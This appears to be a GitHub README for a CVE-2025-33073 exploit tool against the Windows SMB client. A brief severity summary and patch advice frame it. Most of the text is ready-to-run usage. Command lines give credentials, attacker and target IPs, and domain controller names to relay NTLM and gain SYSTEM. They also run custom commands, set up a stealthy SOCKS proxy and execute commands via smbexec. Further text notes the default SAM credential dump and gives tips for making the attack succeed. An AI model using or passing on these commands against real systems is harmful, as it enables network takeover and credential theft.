irjfifndn-prog/blackash-cve-2025-33073CVE-2025-33073
🔥 High-Severity Authenticated Remote Code Execution 🔥 Improper Access Control in Windows SMB Client (CWE-284)
| Aspect | Details |
|---|
| CVSS v3.1 Score | 8.8 (High) 🔥 |
| Affected Systems | Windows 10, 11, Server 2012–2025 (all editions) 💻 |
| Disclosure Date | June 10, 2025 📅 (Patched in June 2025 Patch Tuesday) |
| Exploitation | Actively exploited in the wild 😱 Added to CISA KEV on Oct 21, 2025 |
| Attack Vector | Network (Authenticated) 🌐 |
| Impact | SYSTEM-level code execution 👑 Lateral movement via Kerberos relay |
| Bypass | NTLM reflection mitigations ⚡ |
Patch Now! 🔧
→ Apply Microsoft updates (e.g., KB5060998)
→ Microsoft Update Guide 🔗
Enable SMB Signing ✍️
→ Enforce on all clients & servers
→ Set-SmbClientConfiguration -RequireSecuritySignature $true
Restrict NTLM 🚫
→ Block NTLM where possible
→ Monitor for relay attempts with EDR tools
Automated Fix? 🤖
→ Use Vicarius vRx or custom scripts for mass remediation
Status as of November 15, 2025:
✅ Patched
❌ Still exploited in unpatched systems
🔔 CISA Deadline: Nov 10, 2025 ⏰
sudo python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65
sudo python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only
Custom command Instead of running secretsdump a custom command can be executed.
sudo python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only --custom-command "whoami"
SOCKS For more stealthy execution of commands after valid connection as SYSTEM has been made. --target and --target-ip should be equal here.
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --cli-only --socks
Also a custom command can be ran through proxychains instead of dumping SAM.
proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec
If you're in the same broadcast domain as the device and it's vulnerable for LLMNR poisioning it's possible to exploit a device without having to register a DNS record.
I've seen the attack not work sometimes because the hostname is used for the attack which results in a DNS lookup from Kali. If Kali is not using the DNS server or you get a '/ FAILED' message from impacket-ntlmrelayx try adding the host to your /etc/hosts file. This should result in the attack working.
If using IP the attack should work. Sometimes running it multiple times will result in a SUCCESS instead of failure. It's until now not perfectly clear why this happens. I think it has something to do with networking.
Try another coerce method using -M or --method.
Local NTLM authentication takes place
Local NTLM authentication does not take place resulting in a FAILED attempt
Don’t wait — patch today! 🛑
Your network’s security depends on it. 💪